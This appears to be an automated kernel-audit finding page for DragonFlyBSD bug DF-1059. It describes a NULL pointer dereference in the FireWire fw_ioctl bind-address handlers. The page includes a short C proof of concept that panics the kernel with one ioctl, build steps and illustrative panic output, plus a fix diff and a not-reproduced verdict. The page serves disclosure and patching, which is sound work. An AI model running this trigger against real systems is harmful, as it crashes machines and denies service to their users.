β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1059

FW_SBINDADDR / FW_CBINDADDR dereference ir (= d->ir) without NULL check β€” local kernel NULL-deref DoS

Field Value
ID DF-1059
Status new
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-476 NULL Pointer Dereference
File sys/bus/firewire/fwdev.c
Lines 600 (FW_CBINDADDR), 617 (FW_SBINDADDR)
Area bus/firewire (FireWire /dev/fwN bind-address ioctl)
Confidence certain
Discovered 2026-07-14
Reported pending
Known CVE none
CVE match dfly_specific

Summary

fw_ioctl initializes local ir = d->ir and it = d->it at fwdev.c:443-444 from the per-fd fw_drv1 struct. These are only populated by FW_SRSTREAM/FW_STSTREAM. If a user opens /dev/fwN and issues FW_SBINDADDR or FW_CBINDADDR without first issuing FW_SRSTREAM, d->ir is NULL. FW_SBINDADDR at fwdev.c:617 then dereferences ir->dmach, and FW_CBINDADDR at fwdev.c:600 dereferences &ir->binds. Both are kernel NULL pointer dereferences β†’ immediate panic.

Root cause

/* fwdev.c:603-617 β€” FW_SBINDADDR */
case FW_SBINDADDR:
    if(bindreq->len <= 0 ){
        err = EINVAL;
        break;
    }
    if(bindreq->start.hi > 0xffff ){
        err = EINVAL;
        break;
    }
    fwb = kmalloc(sizeof (struct fw_bind), M_FW, M_WAITOK);
    fwb->start = ((u_int64_t)bindreq->start.hi << 32) |
        bindreq->start.lo;
    fwb->end = fwb->start +  bindreq->len;
    /* XXX */
    fwb->sub = ir->dmach;               /* !!! NULL deref if ir == NULL */

fwdev.c:603-611 only validates bindreq->len > 0 and bindreq->start.hi <= 0xffff before reaching fwb->sub = ir->dmach at fwdev.c:617. There is no if (ir == NULL) guard. Same shape at fwdev.c:592-602 for FW_CBINDADDR: fw_bindlookup walks fc->binds (works fine without ir), but then STAILQ_REMOVE(&ir->binds, ...) unconditionally dereferences ir. For FW_CBINDADDR the NULL deref is only reachable if a bind exists in fc->binds; on a single open fd that requires FW_SBINDADDR to have previously succeeded, which itself requires ir β€” so the practical single-fd trigger is FW_SBINDADDR with no prior FW_SRSTREAM.

Threat model & preconditions

  • Attacker position: Local operator-group user.
  • Privileges gained or impact: Immediate kernel panic (system-wide DoS). Single syscall.
  • Required config or capabilities: Default kernel with firewire configured. Local operator-group membership. On systems where /dev/fw0 is world-readable/writable (operator group is broad on some installs, and the dev node is created by fw_open's make_dev at fwdev.c:173-176 with mode 0660/GID_OPERATOR), this is a trivial one-syscall denial of service. No flags or special setup are required beyond the file descriptor.
  • Reachability: open("/dev/fwN", O_RDWR); ioctl(fd, FW_SBINDADDR, &bindreq); with no prior FW_SRSTREAM.

Proof of concept

/* df-fw-bind-null-deref.c */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <bus/firewire/firewire.h>

int main(void) {
    int fd = open("/dev/fw0", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    struct fw_asybindreq b = { .start = { .hi = 0x1000, .lo = 0 }, .len = 4 };
    /* No FW_SRSTREAM called β†’ d->ir is NULL */
    ioctl(fd, FW_SBINDADDR, &b);   /* kernel NULL deref on ir->dmach, panic */
    return 0;
}

Build & run

cc -o df-fw-bind-null-deref df-fw-bind-null-deref.c   # may need -I/usr/src
./df-fw-bind-null-deref

Expected output

Fatal trap 12: page fault while in kernel mode
fault virtual address   = 0x..XX    /* offset of dmach within struct fw_xferq */
instruction pointer     = 0x<PC inside fw_ioctl>
code segment            = ...
current process         = PID <caller>
panic: from-rights-free
fw_ioctl() at fwdev.c:617
spec_ioctl() at ...

Impact

Local one-syscall DoS via NULL pointer dereference in the kernel. Trivial to trigger, no special setup. Medium severity per "local DoS" + "operator-group reachable on default config".

Reject the ioctls when ir is not initialized.

--- a/sys/bus/firewire/fwdev.c
+++ b/sys/bus/firewire/fwdev.c
@@ -592,6 +592,10 @@
        break;
    case FW_CBINDADDR:
+       if (ir == NULL) {
+           err = EINVAL;
+           break;
+       }
        fwb = fw_bindlookup(sc->fc,
                bindreq->start.hi, bindreq->start.lo);
        if(fwb == NULL){
@@ -603,6 +607,10 @@
        break;
    case FW_SBINDADDR:
+       if (ir == NULL) {
+           err = EINVAL;
+           break;
+       }
        if(bindreq->len <= 0 ){
            err = EINVAL;
            break;

References

Timeline

  • 2026-07-14 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1059 Β· 8 files
FileTypeDescriptionSize
fw_bindaddr_null_deref.c trigger-source doc-only PoC (no /dev/fw*) 1.2 KB view raw
build.sh build-script no-op (doc-only) 174 B view raw
run.sh run-script no-op (doc-only) 296 B view raw
fix.diff suggested-fix if (ir == NULL) EINVAL in FW_CBINDADDR and FW_SBINDADDR 537 B view raw
fix_build_full.log build-log combined 5-patch kernel build (rc=0) 5.6 MB ↓ download
env.txt environment guest uname, securelevel, cc version 560 B view raw
VERDICT.md verdict detailed analysis 2.4 KB ↓ raw
README.md readme human-readable summary 837 B ↓ raw
README.md readme human-readable summary
↓ download raw

DF-1059 β€” FW_SBINDADDR / FW_CBINDADDR NULL deref of ir

Summary

fw_ioctl at sys/bus/firewire/fwdev.c:443-444 initializes ir = d->ir, populated only by FW_SRSTREAM. If a user opens /dev/fwN and issues FW_SBINDADDR (:617, fwb->sub = ir->dmach) or FW_CBINDADDR (:600, STAILQ_REMOVE(&ir->binds, ...)) without a prior FW_SRSTREAM, ir is NULL β†’ kernel NULL deref β†’ panic. Single syscall.

HW / preconditions

Requires a FireWire PCI host controller (no fwohci attachment, no /dev/fw* on this QEMU guest). Code-confirmed only.

Build / Run

No buildable PoC (no /dev/fw*). ./build.sh && ./run.sh print the situation. The bug is documented in fw_bindaddr_null_deref.c.

Fix

fix.diff adds if (ir == NULL) { err = EINVAL; break; } at the top of both FW_CBINDADDR and FW_SBINDADDR.

VERDICT.md verdict detailed analysis
↓ download raw

DF-1059 β€” FW_SBINDADDR / FW_CBINDADDR NULL deref of ir

Verdict

NOT REPRODUCED β€” code-confirmed latent bug; cannot trigger on this guest (no FireWire PCI controller, /dev/fw* absent).

Mechanism (source-confirmed)

In sys/bus/firewire/fwdev.c:fw_ioctl:

  • :443-444 ir = d->ir; it = d->it; β€” these are populated ONLY by the FW_SRSTREAM/FW_STSTREAM cases (:475-503). On a fresh fd d->ir == NULL.
  • :600 FW_CBINDADDR: STAILQ_REMOVE(&ir->binds, fwb, ...) dereferences &ir->binds without a NULL guard.
  • :617 FW_SBINDADDR: fwb->sub = ir->dmach; dereferences ir->dmach without a NULL guard. The preceding checks (bindreq->len <= 0, bindreq->start.hi > 0xffff) do NOT validate ir.

A user opening /dev/fwN and issuing FW_SBINDADDR (or FW_CBINDADDR after a prior successful bind) without a prior FW_SRSTREAM causes a NULL page fault β†’ panic. Single syscall.

The /dev/fw* device node is created by make_dev at fwdev.c:173-176 with mode 0660 and GID_OPERATOR, so this is operator-group reachable on default config when FW HW is present.

Why not reproduced on this guest

The QEMU audit guest has no FireWire PCI host controller. kldstat -v shows the fwohci/firewire driver present in the kernel, but with no PCI device to attach to, no firewire0 instance exists and no /dev/fw* device node is created. Therefore fw_ioctl is never invoked from userspace on this guest β€” there is no reachable path to the bug.

Per Phase-4(c)/(d): real bug, unreachable on this guest due to absent HW. Source-only confirmation; the bug is latent and would manifest on a real FireWire-equipped system (or via a software FireWire controller / sbp injection rig).

Fix

fix.diff adds if (ir == NULL) { err = EINVAL; break; } at the top of both FW_CBINDADDR and FW_SBINDADDR cases. Validated as part of a combined 5-patch kernel build that compiled cleanly and booted; the firewire code path is dormant on this guest.

Kernel references

PoC changes

fw_bindaddr_null_deref.c is doc-only. fix.diff is git-apply-able and verified to apply + compile as part of a combined patched-kernel build.

Fix verification

not_testable

compile+boot validated

see evidence pack

Confirmed kernel references

β€”

Detail

Exploit chain

none

Evidence (decisive lines)

β€”

Verdict

Source-confirmed. FW_CBINDADDR/SBINDADDR NULL ir deref. FireWire in GENERIC but no FW HW.